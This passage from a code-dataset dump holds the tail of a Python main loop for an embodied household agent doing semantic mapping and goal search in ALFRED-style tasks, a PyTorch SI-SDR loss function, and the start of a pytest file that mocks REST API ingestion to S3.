args.num_sem_categories = args.num_sem_categories + 23\n obs = torch.tensor(obs).to(device)\n\n torch.set_grad_enabled(False)\n\n # Initialize map variables\n # Full map consists of multiple channels containing the following:\n # 1. Obstacle Map\n # 2. Exploread Area\n # 3. Current Agent Location\n # 4. Past Agent Locations\n # 5-: Semantic categories, as defined in sem_exp_thor.total_cat2idx\n # i.e. 'Knife': 0, 'SinkBasin': 1, 'ArmChair': 2, 'BathtubBasin': 3, 'Bed': 4, 'Cabinet': 5, 'Cart': 6, 'CoffeeMachine': 7, 'CoffeeTable': 8, 'CounterTop': 9, 'Desk': 10, 'DiningTable': 11, 'Drawer': 12, 'Dresser': 13, 'Fridge': 14, 'GarbageCan': 15, 'Microwave': 16, 'Ottoman': 17, 'Safe': 18, 'Shelf': 19, 'SideTable': 20, 'Sofa': 21, 'StoveBurner': 22, 'TVStand': 23, 'Toilet': 24, 'CellPhone': 25, 'FloorLamp': 26, 'None': 29\n nc = args.num_sem_categories + 4 # num channels\n\n # Calculating full and local map sizes\n map_size = args.map_size_cm // args.map_resolution\n full_w, full_h = map_size, map_size\n local_w, local_h = int(full_w / args.global_downscaling), \\\n int(full_h / args.global_downscaling)\n\n full_map = torch.zeros(num_scenes, nc, full_w, full_h).float().to(device)\n local_map = torch.zeros(num_scenes, nc, local_w,\n local_h).float().to(device)\n\n # Initial full and local pose\n full_pose = torch.zeros(num_scenes, 3).float().to(device)\n local_pose = torch.zeros(num_scenes, 3).float().to(device)\n\n # Origin of local map\n origins = np.zeros((num_scenes, 3))\n\n # Local Map Boundaries\n lmb = np.zeros((num_scenes, 4)).astype(int)\n\n # Planner pose inputs has 7 dimensions\n # 1-3 store continuous global agent location\n # 4-7 store local map boundaries\n planner_pose_inputs = np.zeros((num_scenes, 7))\n\n def get_local_map_boundaries(agent_loc, local_sizes, full_sizes):\n loc_r, loc_c = agent_loc\n local_w, local_h = local_sizes\n full_w, full_h = full_sizes\n\n if args.global_downscaling > 1:\n gx1, gy1 = loc_r - local_w // 2, loc_c - local_h // 2\n gx2, gy2 = gx1 + local_w, gy1 + local_h\n if gx1 < 0:\n gx1, gx2 = 0, local_w\n if gx2 > full_w:\n gx1, gx2 = full_w - local_w, full_w\n\n if gy1 < 0:\n gy1, gy2 = 0, local_h\n if gy2 > full_h:\n gy1, gy2 = full_h - local_h, full_h\n else:\n gx1, gx2, gy1, gy2 = 0, full_w, 0, full_h\n\n return [gx1, gx2, gy1, gy2]\n\n def init_map_and_pose():\n full_map.fill_(0.)\n full_pose.fill_(0.)\n full_pose[:, :2] = args.map_size_cm / 100.0 / 2.0\n\n locs = full_pose.cpu().numpy()\n planner_pose_inputs[:, :3] = locs\n for e in range(num_scenes):\n r, c = locs[e, 1], locs[e, 0]\n loc_r, loc_c = [int(r * 100.0 / args.map_resolution),\n int(c * 100.0 / args.map_resolution)]\n\n full_map[e, 2:4, loc_r - 1:loc_r + 2, loc_c - 1:loc_c + 2] = 1.0\n\n lmb[e] = get_local_map_boundaries((loc_r, loc_c),\n (local_w, local_h),\n (full_w, full_h))\n\n planner_pose_inputs[e, 3:] = lmb[e]\n origins[e] = [lmb[e][2] * args.map_resolution / 100.0,\n lmb[e][0] * args.map_resolution / 100.0, 0.]\n\n for e in range(num_scenes):\n local_map[e] = full_map[e, :, lmb[e, 0]\n :lmb[e, 1], lmb[e, 2]:lmb[e, 3]]\n local_pose[e] = full_pose[e] - \\\n torch.from_numpy(origins[e]).to(device).float()\n\n def init_map_and_pose_for_env(e):\n full_map[e].fill_(0.)\n full_pose[e].fill_(0.)\n full_pose[e, :2] = args.map_size_cm / 100.0 / 2.0\n\n locs = full_pose[e].cpu().numpy()\n planner_pose_inputs[e, :3] = locs\n r, c = locs[1], locs[0]\n loc_r, loc_c = [int(r * 100.0 / args.map_resolution),\n int(c * 100.0 / args.map_resolution)]\n\n full_map[e, 2:4, loc_r - 1:loc_r + 2, loc_c - 1:loc_c + 2] = 1.0\n\n lmb[e] = get_local_map_boundaries(\n (loc_r, loc_c), (local_w, local_h), (full_w, full_h))\n\n planner_pose_inputs[e, 3:] = lmb[e]\n origins[e] = [lmb[e][2] * args.map_resolution / 100.0,\n lmb[e][0] * args.map_resolution / 100.0, 0.]\n\n local_map[e] = full_map[e, :, lmb[e, 0]:lmb[e, 1], lmb[e, 2]:lmb[e, 3]]\n local_pose[e] = full_pose[e] - \\\n torch.from_numpy(origins[e]).to(device).float()\n\n init_map_and_pose()\n\n # slam\n sem_map_module = Semantic_Mapping(args).to(device)\n sem_map_module.eval()\n sem_map_module.set_view_angles([45] * args.num_processes)\n\n # Predict semantic map from frame 1\n poses = torch.from_numpy(np.asarray(\n [infos[env_idx]['sensor_pose'] for env_idx in range(num_scenes)])\n ).float().to(device)\n\n _, local_map, _, local_pose = \\\n sem_map_module(obs, poses, local_map, local_pose)\n\n # Compute Global policy input\n locs = local_pose.cpu().numpy()\n\n for e in range(num_scenes):\n r, c = locs[e, 1], locs[e, 0]\n loc_r, loc_c = [int(r * 100.0 / args.map_resolution),\n int(c * 100.0 / args.map_resolution)]\n\n local_map[e, 2:4, loc_r - 1:loc_r + 2, loc_c - 1:loc_c + 2] = 1.\n\n # For now\n global_goals = []\n for e in range(num_scenes):\n c1 = local_rngs[e].choice(local_w)\n c2 = local_rngs[e].choice(local_h)\n global_goals.append((c1, c2))\n\n goal_maps = [np.zeros((local_w, local_h)) for _ in range(num_scenes)]\n\n for e in range(num_scenes):\n goal_maps[e][global_goals[e][0], global_goals[e][1]] = 1\n\n planner_inputs = [{} for e in range(num_scenes)]\n for e, p_input in enumerate(planner_inputs):\n p_input['map_pred'] = local_map[e, 0, :, :].cpu().numpy()\n p_input['exp_pred'] = local_map[e, 1, :, :].cpu().numpy()\n p_input['pose_pred'] = planner_pose_inputs[e]\n p_input['goal'] = goal_maps[e]\n p_input['found_goal'] = 0\n p_input['wait'] = finished[e]\n p_input['list_of_actions'] = list_of_actions_s[e]\n p_input['list_of_actions_pointer'] = list_of_actions_pointer_s[e]\n p_input['consecutive_interaction'] = None\n p_input['consecutive_target'] = None\n p_input['manual_step'] = None\n if args.visualize or args.print_images:\n local_map[e, -1, :, :] = 1e-5\n p_input['sem_map_pred'] = local_map[e, 4:, :,\n :].argmax(0).cpu().numpy()\n\n obs, rew, done, infos, goal_success_s, next_step_dict_s = envs.plan_act_and_preprocess(\n planner_inputs, goal_spotted_s)\n goal_success_s = list(goal_success_s)\n view_angles = []\n for e in range(num_scenes):\n next_step_dict = next_step_dict_s[e]\n view_angle = next_step_dict['view_angle']\n view_angles.append(view_angle)\n\n fails[e] += next_step_dict['fails_cur']\n\n sem_map_module.set_view_angles(view_angles)\n\n consecutive_interaction_s, target_instance_s = [None]*num_scenes, [None]*num_scenes\n for e in range(num_scenes):\n num_steps_so_far[e] = next_step_dict_s[e]['steps_taken']\n first_steps[e] = False\n if goal_success_s[e]:\n if list_of_actions_pointer_s[e] == len(list_of_actions_s[e]) - 1:\n all_completed[e] = True\n else:\n subgoal_counter_s[e] = 0\n found_subgoal_coordinates[e] = None\n list_of_actions_pointer_s[e] += 1\n goal_name = list_of_actions_s[e][list_of_actions_pointer_s[e]][0]\n reset_goal_true_false = [False] * num_scenes\n reset_goal_true_false[e] = True\n\n # If consecutive interactions,\n returned, target_instance_s[e] = determine_consecutive_interx(\n list_of_actions_s[e], list_of_actions_pointer_s[e]-1, whether_sliced_s[e])\n if returned:\n consecutive_interaction_s[e] = list_of_actions_s[e][list_of_actions_pointer_s[e]][1]\n\n infos = envs.reset_goal(\n reset_goal_true_false, goal_name, consecutive_interaction_s)\n\n torch.set_grad_enabled(False)\n spl_per_category = defaultdict(list)\n success_per_category = defaultdict(list)\n\n for _ in range(args.num_training_frames//args.num_processes):\n skip_save_pic = task_finish.copy()\n # Reinitialize variables when episode ends\n for e, x in enumerate(task_finish):\n if x:\n spl = infos[e]['spl']\n success = infos[e]['success']\n dist = infos[e]['distance_to_goal']\n spl_per_category[infos[e]['goal_name']].append(spl)\n success_per_category[infos[e]['goal_name']].append(success)\n traj_number[e] += 1\n init_map_and_pose_for_env(e)\n\n if not(finished[e]):\n # load next episode for env\n number_of_this_episode = args.from_idx + \\\n traj_number[e] * num_scenes + e\n print(\"steps taken for episode# \", number_of_this_episode -\n num_scenes, \" is \", next_step_dict_s[e]['steps_taken'])\n completed_episodes.append(number_of_this_episode)\n pickle.dump(\n completed_episodes,\n open(f\"results/completed_episodes_{args.eval_split}{args.from_idx}_to_{args.to_idx}_{dn}.p\", 'wb'))\n if args.leaderboard and args.test:\n if args.test_seen:\n add_str = \"seen\"\n else:\n add_str = \"unseen\"\n pickle.dump(actseqs, open(\n f\"results/leaderboard/actseqs_test_{add_str}_{dn}_{args.from_idx}_to_{args.to_idx}.p\", \"wb\"))\n load = [False] * args.num_processes\n load[e] = True\n do_not_update_cat_s[e] = None\n wheres_delete_s[e] = np.zeros((240, 240))\n sem_search_searched_s[e] = np.zeros((240, 240))\n obs, infos, actions_dicts = envs.load_next_scene(load)\n local_rngs[e] = np.random.RandomState(args.seed + number_of_this_episode)\n view_angles[e] = 45\n sem_map_module.set_view_angles(view_angles)\n if actions_dicts[e] is None:\n finished[e] = True\n else:\n second_objects[e] = actions_dicts[e]['second_object']\n print(\"second object is \", second_objects[e])\n list_of_actions_s[e] = actions_dicts[e]['list_of_actions']\n task_types[e] = actions_dicts[e]['task_type']\n whether_sliced_s[e] = actions_dicts[e]['sliced']\n\n task_finish[e] = False\n num_steps_so_far[e] = 0\n list_of_actions_pointer_s[e] = 0\n goal_spotted_s[e] = False\n found_goal[e] = 0\n subgoal_counter_s[e] = 0\n found_subgoal_coordinates[e] = None\n first_steps[e] = True\n\n all_completed[e] = False\n goal_success_s[e] = False\n\n obs = torch.tensor(obs).to(device)\n fails[e] = 0\n goal_logs[e] = []\n goal_cat_before_second_objects[e] = None\n\n if sum(finished) == args.num_processes:\n print(\"all finished\")\n if args.leaderboard and args.test:\n if args.test_seen:\n add_str = \"seen\"\n else:\n add_str = \"unseen\"\n pickle.dump(actseqs, open(\n \"results/leaderboard/actseqs_test_\" + add_str + \"_\" + dn + \".p\", \"wb\"))\n break\n\n # ------------------------------------------------------------------\n # Semantic Mapping Module\n poses = torch.from_numpy(np.asarray(\n [infos[env_idx]['sensor_pose'] for env_idx\n in range(num_scenes)])\n ).float().to(device)\n\n _, local_map, _, local_pose = sem_map_module(\n obs, poses, local_map, local_pose, build_maps=True, no_update=False)\n\n locs = local_pose.cpu().numpy()\n planner_pose_inputs[:, :3] = locs + origins\n local_map[:, 2, :, :].fill_(0.) # Resetting current location channel\n for e in range(num_scenes):\n r, c = locs[e, 1], locs[e, 0]\n loc_r, loc_c = [int(r * 100.0 / args.map_resolution),\n int(c * 100.0 / args.map_resolution)]\n local_map[e, 2:4, loc_r - 2:loc_r + 3, loc_c - 2:loc_c + 3] = 1.\n\n for e in range(num_scenes):\n new_goal_needed = args.delete_from_map_after_move_until_visible and (next_step_dict_s[e]['next_goal'] or next_step_dict_s[e]['delete_lamp'])\n if new_goal_needed:\n ep_num = args.from_idx + traj_number[e] * num_scenes + e\n\n # search failed, so delete regions neigboring the previous goal\n # TODO: use disk dilation and connected entity for this part?\n goal_neighbor_gl = getNeighborMap(goal_maps[e], dil_sz=args.goal_search_del_size)\n wheres_delete_s[e][np.where(goal_neighbor_gl == 1)] = 1\n\n goal_neighbor_ss = getNeighborMap(goal_maps[e], dil_sz=args.sem_search_del_size)\n sem_search_searched_s[e][np.where(goal_neighbor_ss == 1)] = 1\n\n cn = infos[e]['goal_cat_id'] + 4\n wheres = np.where(wheres_delete_s[e])\n local_map[e, cn, :, :][wheres] = 0.0\n\n # Semantic Policy\n for e in range(num_scenes):\n ep_num = args.from_idx + traj_number[e] * num_scenes + e\n if next_step_dict_s[e]['next_goal'] and (not finished[e]):\n subgoal_counter_s[e] += 1\n\n full_map[e, :, lmb[e, 0]:lmb[e, 1], lmb[e, 2]:lmb[e, 3]] = \\\n local_map[e]\n full_pose[e] = local_pose[e] + \\\n torch.from_numpy(origins[e]).to(device).float()\n\n locs = full_pose[e].cpu().numpy()\n r, c = locs[1], locs[0]\n loc_r, loc_c = [int(r * 100.0 / args.map_resolution),\n int(c * 100.0 / args.map_resolution)]\n\n lmb[e] = get_local_map_boundaries((loc_r, loc_c),\n (local_w, local_h),\n (full_w, full_h))\n\n planner_pose_inputs[e, 3:] = lmb[e]\n origins[e] = [lmb[e][2] * args.map_resolution / 100.0,\n lmb[e][0] * args.map_resolution / 100.0, 0.]\n\n local_map[e] = full_map[e, :,\n lmb[e, 0]:lmb[e, 1], lmb[e, 2]:lmb[e, 3]]\n local_pose[e] = full_pose[e] - \\\n torch.from_numpy(origins[e]).to(device).float()\n\n goal_name = list_of_actions_s[e][list_of_actions_pointer_s[e]][0]\n\n obstacles = np.rint(local_map[e][0].cpu().numpy())\n if obstacles[120, 120] == 0:\n mask = np.zeros((240, 240))\n connected_regions = skimage.morphology.label(1 - obstacles, connectivity=2)\n connected_lab = connected_regions[120, 120]\n mask[np.where(connected_regions == connected_lab)] = 1\n mask[np.where(skimage.morphology.binary_dilation(\n obstacles, skimage.morphology.square(5)))] = 1\n else:\n dilated = skimage.morphology.binary_dilation(\n obstacles, skimage.morphology.square(5))\n mask = skimage.morphology.convex_hull_image(\n dilated).astype(float)\n mask_grid = into_grid(torch.tensor(mask), args.grid_sz)\n where_ones = len(torch.where(mask_grid)[0])\n mask_grid = mask_grid.numpy().flatten()\n\n if (args.sem_policy_type == \"none\") or (args.explore_prob == 1.0):\n chosen_i = local_rngs[e].choice(len(np.where(mask)[0]))\n x_240 = np.where(mask)[0][chosen_i]\n y_240 = np.where(mask)[1][chosen_i]\n global_goals[e] = [x_240, y_240]\n\n else:\n # Just reconst the common map save objects\n map_reconst = torch.zeros(\n (4+len(large_objects2idx), 240, 240))\n map_reconst[:4] = local_map[e][:4]\n test_see = {}\n map_reconst[4+large_objects2idx['SinkBasin']\n ] = local_map[e][4+1]\n test_see[1] = 'SinkBasin'\n\n start_idx = 2\n for cat, catid in large_objects2idx.items():\n if not (cat == 'SinkBasin'):\n map_reconst[4+large_objects2idx[cat]\n ] = local_map[e][4+start_idx]\n test_see[start_idx] = cat\n start_idx += 1\n\n if args.save_pictures and (not skip_save_pic[e]):\n pics_dname = os.path.join(\n \"pictures\", args.eval_split, args.dn, str(ep_num))\n else:\n pics_dname = None\n\n steps_taken = next_step_dict_s[e]['steps_taken']\n if (goal_name in all_objects2idx) or (\"sem_search_all\" in args.mlm_options):\n if (\"mixed_search\" in args.mlm_options) and (subgoal_counter_s[e] > 5):\n pred_probs = Unet_model_equal(map_reconst.unsqueeze(0).to(\n device), target_name=goal_name, out_dname=pics_dname,\n steps_taken=steps_taken, temperature=args.mlm_temperature)\n else:\n sem_temperature = subgoal_counter_s[e] if (\"temperature_annealing\" in args.mlm_options) else args.mlm_temperature\n pred_probs = Unet_model(map_reconst.unsqueeze(0).to(\n device), target_name=goal_name, out_dname=pics_dname,\n steps_taken=steps_taken, temperature=sem_temperature)\n\n # TODO: integrate the contents of this if-statements to sem_map_model.py\n if isinstance(Unet_model, MLM):\n # do not search where we have already searched before\n pred_probs = pred_probs.detach().cpu()\n pred_probs *= into_grid(torch.tensor(1 - sem_search_searched_s[e]), args.grid_sz)\n pred_probs = pred_probs.numpy().flatten()\n else:\n pred_probs = pred_probs.view(73, -1)\n pred_probs = softmax(pred_probs)\n pred_probs = pred_probs.detach().cpu().numpy()\n pred_probs = pred_probs[all_objects2idx[goal_name]]\n\n pred_probs = (1-args.explore_prob) * pred_probs + \\\n args.explore_prob * mask_grid * \\\n 1 / float(where_ones)\n\n else:\n pred_probs = mask_grid * 1 / float(where_ones)\n\n # Now sample one index\n pred_probs = pred_probs.astype('float64')\n pred_probs = pred_probs.reshape(args.grid_sz ** 2)\n\n # TODO: incorporate subgoal counter with argmax_prob?\n argmax_prob = 1.0 if (\"search_argmax_100\" in args.mlm_options) else 0.5\n if (\"search_argmax\" in args.mlm_options) and (local_rngs[e].rand() < argmax_prob):\n pred_probs_2d = pred_probs.reshape((args.grid_sz, args.grid_sz))\n max_x, max_y = searchArgmax(1, pred_probs_2d)\n\n # center the obtained coordinates so that the sum of pred_probs is maximized\n # for the square region of args.sem_search_del_size\n del_sz = args.sem_search_del_size // 2\n search_mask = np.zeros_like(pred_probs_2d)\n search_mask[max(0, max_x - del_sz):min(240, max_x + del_sz + 1),\n max(0, max_y - del_sz):min(240, max_y + del_sz + 1)] = 1\n chosen_cell_x, chosen_cell_y = searchArgmax(\n args.sem_search_del_size, pred_probs_2d, mask=search_mask)\n\n # chosen_cell_x, chosen_cell_y = searchArgmax(\n # args.sem_search_del_size // 2, pred_probs.reshape((args.grid_sz, args.grid_sz)))\n else:\n pred_probs = pred_probs / np.sum(pred_probs)\n chosen_cell = local_rngs[e].multinomial(1, pred_probs.tolist())\n chosen_cell = np.where(chosen_cell)[0][0]\n chosen_cell_x = int(chosen_cell / args.grid_sz)\n chosen_cell_y = chosen_cell % args.grid_sz\n\n # Sample among this mask\n mask_new = np.zeros((240, 240))\n shrink_sz = 240 // args.grid_sz\n mask_new[chosen_cell_x*shrink_sz:chosen_cell_x*shrink_sz+shrink_sz,\n chosen_cell_y*shrink_sz:chosen_cell_y*shrink_sz+shrink_sz] = 1\n mask_new = mask_new * mask * (1 - sem_search_searched_s[e])\n\n if np.sum(mask_new) == 0:\n chosen_i = local_rngs[e].choice(len(np.where(mask)[0]))\n x_240 = np.where(mask)[0][chosen_i]\n y_240 = np.where(mask)[1][chosen_i]\n\n else:\n chosen_i = local_rngs[e].choice(\n len(np.where(mask_new)[0]))\n x_240 = np.where(mask_new)[0][chosen_i]\n y_240 = np.where(mask_new)[1][chosen_i]\n\n if args.save_pictures and (not skip_save_pic[e]):\n os.makedirs(pics_dname, exist_ok=True)\n with open(os.path.join(pics_dname, f\"{ep_num}.txt\"), \"a\") as f:\n f.write(\n f\"{steps_taken},{goal_name},{chosen_cell_x},{chosen_cell_y},{x_240},{y_240},{subgoal_counter_s[e]}\\n\")\n Unet_model.plotSample(\n pred_probs.reshape(\n (1, args.grid_sz, args.grid_sz)),\n os.path.join(pics_dname, \"goal_sem_pol\", f\"{steps_taken}.html\"), names=[goal_name], wrap_sz=1,\n zmax=0.01)\n\n global_goals[e] = [x_240, y_240]\n\n # ------------------------------------------------------------------\n # Take action and get next observation\n found_goal = [0 for _ in range(num_scenes)]\n goal_maps = [np.zeros((local_w, local_h)) for _ in range(num_scenes)]\n\n for e in range(num_scenes):\n goal_maps[e][global_goals[e][0], global_goals[e][1]] = 1\n\n for e in range(num_scenes):\n cn = infos[e]['goal_cat_id'] + 4\n prev_cns[e] = cn\n cat_semantic_map = local_map[e, cn, :, :].cpu().numpy()\n ep_num = args.from_idx + traj_number[e] * num_scenes + e\n if (not finished[e]) and args.save_pictures and (not skip_save_pic[e]):\n pics_dname = os.path.join(\"pictures\", args.eval_split, args.dn, str(ep_num))\n target_pic_dname = os.path.join(pics_dname, \"Sem_Map_Target\")\n os.makedirs(target_pic_dname, exist_ok=True)\n steps_taken = next_step_dict_s[e]['steps_taken']\n cv2.imwrite(os.path.join(target_pic_dname, f\"Sem_Map_Target_{steps_taken}.png\"), cat_semantic_map * 255)\n\n if cat_semantic_map.sum() != 0.:\n new_goal_needed = args.delete_from_map_after_move_until_visible and (next_step_dict_s[e]['next_goal'] or next_step_dict_s[e]['delete_lamp'])\n if new_goal_needed or (found_subgoal_coordinates[e] is None):\n cat_semantic_scores = np.zeros_like(cat_semantic_map)\n cat_semantic_scores[cat_semantic_map > 0] = 1.\n\n # delete coordinates in which the search failed\n delete_coords = np.where(wheres_delete_s[e])\n cat_semantic_scores[delete_coords] = 0\n\n # TODO: might be better if cat_semantic_scores is eroded first, so that the goal won't be at edge of the receptacle region\n wheres_y, wheres_x = np.where(cat_semantic_scores)\n if len(wheres_x) > 0:\n # go to the location where the taget is observed the most\n target_y, target_x = searchArgmax(\n args.goal_search_del_size, cat_semantic_scores)\n found_subgoal_coordinates[e] = (target_y, target_x)\n\n if found_subgoal_coordinates[e] is None:\n if args.delete_from_map_after_move_until_visible or args.delete_pick2:\n found_goal[e] = 0\n goal_spotted_s[e] = False\n else:\n goal_maps[e] = np.zeros_like(cat_semantic_map)\n goal_maps[e][found_subgoal_coordinates[e]] = 1\n found_goal[e] = 1\n goal_spotted_s[e] = True\n\n else:\n found_subgoal_coordinates[e] = None\n if args.delete_from_map_after_move_until_visible or args.delete_pick2:\n found_goal[e] = 0\n goal_spotted_s[e] = False\n\n manual_step = None\n if args.manual_control:\n manual_step = input(\"Manual control ON. ENTER next agent step (a: RotateLeft, w: MoveAhead, d: RotateRight, u: LookUp, n: LookDown)\")\n\n planner_inputs = [{} for e in range(num_scenes)]\n for e, p_input in enumerate(planner_inputs):\n p_input['map_pred'] = local_map[e, 0, :, :].cpu().numpy()\n p_input['exp_pred'] = local_map[e, 1, :, :].cpu().numpy()\n p_input['pose_pred'] = planner_pose_inputs[e]\n p_input['goal'] = goal_maps[e]\n p_input['found_goal'] = found_goal[e]\n p_input['wait'] = finished[e]\n p_input['list_of_actions'] = list_of_actions_s[e]\n p_input['list_of_actions_pointer'] = list_of_actions_pointer_s[e]\n p_input['consecutive_interaction'] = consecutive_interaction_s[e]\n p_input['consecutive_target'] = target_instance_s[e]\n p_input['manual_step'] = manual_step\n if args.visualize or args.print_images:\n local_map[e, -1, :, :] = 1e-5\n p_input['sem_map_pred'] = local_map[e, 4:, :,\n :].argmax(0).cpu().numpy()\n\n if first_steps[e]:\n p_input['consecutive_interaction'] = None\n p_input['consecutive_target'] = None\n\n obs, rew, done, infos, goal_success_s, next_step_dict_s = envs.plan_act_and_preprocess(\n planner_inputs, goal_spotted_s)\n goal_success_s = list(goal_success_s)\n view_angles = []\n\n for e, p_input in enumerate(planner_inputs):\n next_step_dict = next_step_dict_s[e]\n\n view_angle = next_step_dict['view_angle']\n view_angles.append(view_angle)\n\n num_steps_so_far[e] = next_step_dict['steps_taken']\n first_steps[e] = False\n\n fails[e] += next_step_dict['fails_cur']\n if args.leaderboard and fails[e] >= args.max_fails:\n print(\"Interact API failed %d times\" % fails[e])\n task_finish[e] = True\n\n if not(args.no_pickup) and (args.map_mask_prop != 1 or args.no_pickup_update) and next_step_dict['picked_up'] and goal_success_s[e]:\n do_not_update_cat_s[e] = infos[e]['goal_cat_id']\n elif not(next_step_dict['picked_up']):\n do_not_update_cat_s[e] = None\n\n sem_map_module.set_view_angles(view_angles)\n\n for e, p_input in enumerate(planner_inputs):\n if p_input['wait'] == 1 or next_step_dict_s[e]['keep_consecutive']:\n pass\n else:\n consecutive_interaction_s[e], target_instance_s[e] = None, None\n\n if goal_success_s[e]:\n if list_of_actions_pointer_s[e] == len(list_of_actions_s[e]) - 1:\n all_completed[e] = True\n else:\n subgoal_counter_s[e] = 0\n found_subgoal_coordinates[e] = None\n list_of_actions_pointer_s[e] += 1\n goal_name = list_of_actions_s[e][list_of_actions_pointer_s[e]][0]\n\n reset_goal_true_false = [False] * num_scenes\n reset_goal_true_false[e] = True\n\n returned, target_instance_s[e] = determine_consecutive_interx(\n list_of_actions_s[e], list_of_actions_pointer_s[e]-1, whether_sliced_s[e])\n if returned:\n consecutive_interaction_s[e] = list_of_actions_s[e][list_of_actions_pointer_s[e]][1]\n infos = envs.reset_goal(\n reset_goal_true_false, goal_name, consecutive_interaction_s)\n goal_spotted_s[e] = False\n found_goal[e] = 0\n wheres_delete_s[e] = np.zeros((240, 240))\n sem_search_searched_s[e] = np.zeros((240, 240))\n\n # ------------------------------------------------------------------\n # End episode and log\n for e in range(num_scenes):\n number_of_this_episode = args.from_idx + \\\n traj_number[e] * num_scenes + e\n if number_of_this_episode in skip_indices:\n task_finish[e] = True\n\n for e in range(num_scenes):\n if all_completed[e]:\n if not(finished[e]) and args.test:\n print(\"This episode is probably Success!\")\n task_finish[e] = True\n\n for e in range(num_scenes):\n if num_steps_so_far[e] >= args.max_episode_length and not(finished[e]):\n print(\"This outputted\")\n task_finish[e] = True\n\n for e in range(num_scenes):\n number_of_this_episode = args.from_idx + \\\n traj_number[e] * num_scenes + e\n if task_finish[e] and not(finished[e]) and not(number_of_this_episode in skip_indices):\n logname = \"results/logs/log_\" + args.eval_split + \"_from_\" + str(args.from_idx) + \"_to_\" + str(args.to_idx) + \"_\" + dn + \".txt\"\n with open(logname, \"a\") as f:\n number_of_this_episode = args.from_idx + \\\n traj_number[e] * num_scenes + e\n f.write(\"\\n\")\n f.write(\"===================================================\\n\")\n f.write(\"episode # is \" +\n str(number_of_this_episode) + \"\\n\")\n\n for log in next_step_dict_s[e]['logs']:\n f.write(log + \"\\n\")\n\n if all_completed[e]:\n if not(finished[e]) and args.test:\n f.write(\"This episode is probably Success!\\n\")\n\n if not(args.test):\n # success is (True,), log_entry is ({..}, )\n log_entry, success = envs.evaluate(e)\n log_entry, success = log_entry[0], success[0]\n print(\"success is \", success)\n f.write(\"success is \" + str(success) + \"\\n\")\n print(\"log entry is \" + str(log_entry))\n f.write(\"log entry is \" + str(log_entry) + \"\\n\")\n if success:\n successes.append(log_entry)\n else:\n failures.append(log_entry)\n\n print(\"saving success and failures for episode # \",\n number_of_this_episode, \"and process number is\", e)\n with open(\"results/successes/\" + args.eval_split + \"_successes_from_\" + str(args.from_idx) + \"_to_\" + str(args.to_idx) + \"_\" + dn + \".p\", \"wb\") as g:\n pickle.dump(successes, g)\n with open(\"results/fails/\" + args.eval_split + \"_failures_from_\" + str(args.from_idx) + \"_to_\" + str(args.to_idx) + \"_\" + dn + \".p\", \"wb\") as h:\n pickle.dump(failures, h)\n\n else:\n print(\"episode # \", number_of_this_episode,\n \"ended and process number is\", e)\n\n if args.leaderboard and args.test:\n actseq = next_step_dict_s[e]['actseq']\n actseqs.append(actseq)\n\n # Add to analyze recs\n analyze_dict = {'task_type': actions_dicts[e]['task_type'], 'errs': next_step_dict_s[e]['errs'], 'action_pointer': list_of_actions_pointer_s[e], 'goal_found': goal_spotted_s[e],\n 'number_of_this_episode': number_of_this_episode}\n if not(args.test):\n analyze_dict['success'] = envs.evaluate(e)[1][0]\n else:\n analyze_dict['success'] = all_completed[e]\n analyze_recs.append(analyze_dict)\n with open(\"results/analyze_recs/\" + args.eval_split + \"_anaylsis_recs_from_\" + str(args.from_idx) + \"_to_\" + str(args.to_idx) + \"_\" + dn + \".p\", \"wb\") as iii:\n pickle.dump(analyze_recs, iii)\n\n\nif __name__ == \"__main__\":\n main()\n print(\"All finsihed!\")\n","repo_name":"hitachi-rd-cv/prompter-alfred","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":41286,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"35173797649","text":"import torch\nfrom torchrecipes.audio.source_separation.loss import utils\n\n\ndef si_sdr_loss(\n estimate: torch.Tensor, reference: torch.Tensor, mask: torch.Tensor\n) -> torch.Tensor:\n \"\"\"Compute the Si-SDR loss.\n Args:\n estimate (torch.Tensor): Estimated source signals.\n Tensor of dimension (batch, speakers, time)\n reference (torch.Tensor): Reference (original) source signals.\n Tensor of dimension (batch, speakers, time)\n mask (torch.Tensor): Mask to indicate padded value (0) or valid value (1).\n Tensor of dimension (batch, 1, time)\n Returns:\n torch.Tensor: Si-SDR loss. Tensor of dimension (batch, )\n \"\"\"\n estimate = estimate - estimate.mean(dim=2, keepdim=True)\n reference = reference - reference.mean(dim=2, keepdim=True)\n\n si_sdri = utils.sdr_pit(estimate, reference, mask=mask)\n return -si_sdri.mean()\n","repo_name":"facebookresearch/recipes","sub_path":"torchrecipes/audio/source_separation/loss/si_sdr.py","file_name":"si_sdr.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":251,"dataset":"github-code","pt":"29"} +{"seq_id":"41288043907","text":"#\n# Providence\n# REST API Source\n# Unit Tests\n#\n\nfrom datetime import datetime\nfrom io import BytesIO\nfrom requests import Response\nfrom unittest.mock import Mock, PropertyMock, patch\nfrom urllib.parse import urlparse\n\nimport pytest\nfrom rest_api import ingest_api_s3\n\n\n@patch(\"requests.request\")\n@patch(\"boto3.client\")\ndef test_ingest_api_s3(s3_client: Mock, request: Mock):\n # test: rejects bad url schemes\n bad_scheme_urls = [\n [\"grpc://test\", \"s3://test/test\"],\n [\"https://test\", \"gcs://test/test\"],\n ]\n for api_url, s3_url in bad_scheme_urls:\n with pytest.raises(ValueError):\n ingest_api_s3(\"GET\", urlparse(api_url), urlparse(s3_url))\n\n # test: mocked rest api request & write to s3\n response = Mock(spec=Response)\n response.json.return_value = {}\n response.headers = {\"Content-Type\": \"application/json; charset=utf-8\"}\n request.return_value = response\n\n s3 = Mock()\n s3_client.return_value = s3\n s3_url = \"s3://bucket/key\"\n api_method, api_url = \"GET\", \"https://test\"\n\n scraped_on = datetime.min\n\n test_cases = [\n # api_token, expected_headers\n [None, {}],\n [\"test\", {\"Authorization\": \"Bearer test\"}],\n ]\n\n for api_token, expected_headers in test_cases:\n ingest_api_s3(\n api_method, urlparse(api_url), urlparse(s3_url), api_token, scraped_on\n )\n\n request.assert_called_with(\"GET\", api_url, headers=expected_headers)\n s3.upload_fileobj.assert_called()\n call_args = s3.upload_fileobj.call_args[0]\n assert (\n call_args[0].getvalue().decode()\n == '{\"_rest_api_src_scraped_on\": \"0001-01-01T00:00:00\"}'\n )\n assert call_args[1:] == (\"bucket\", \"key\")\n\n # test: rejects bad content type\n response.headers = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n with pytest.raises(RuntimeError):\n ingest_api_s3(\n api_method, urlparse(api_url), urlparse(s3_url), 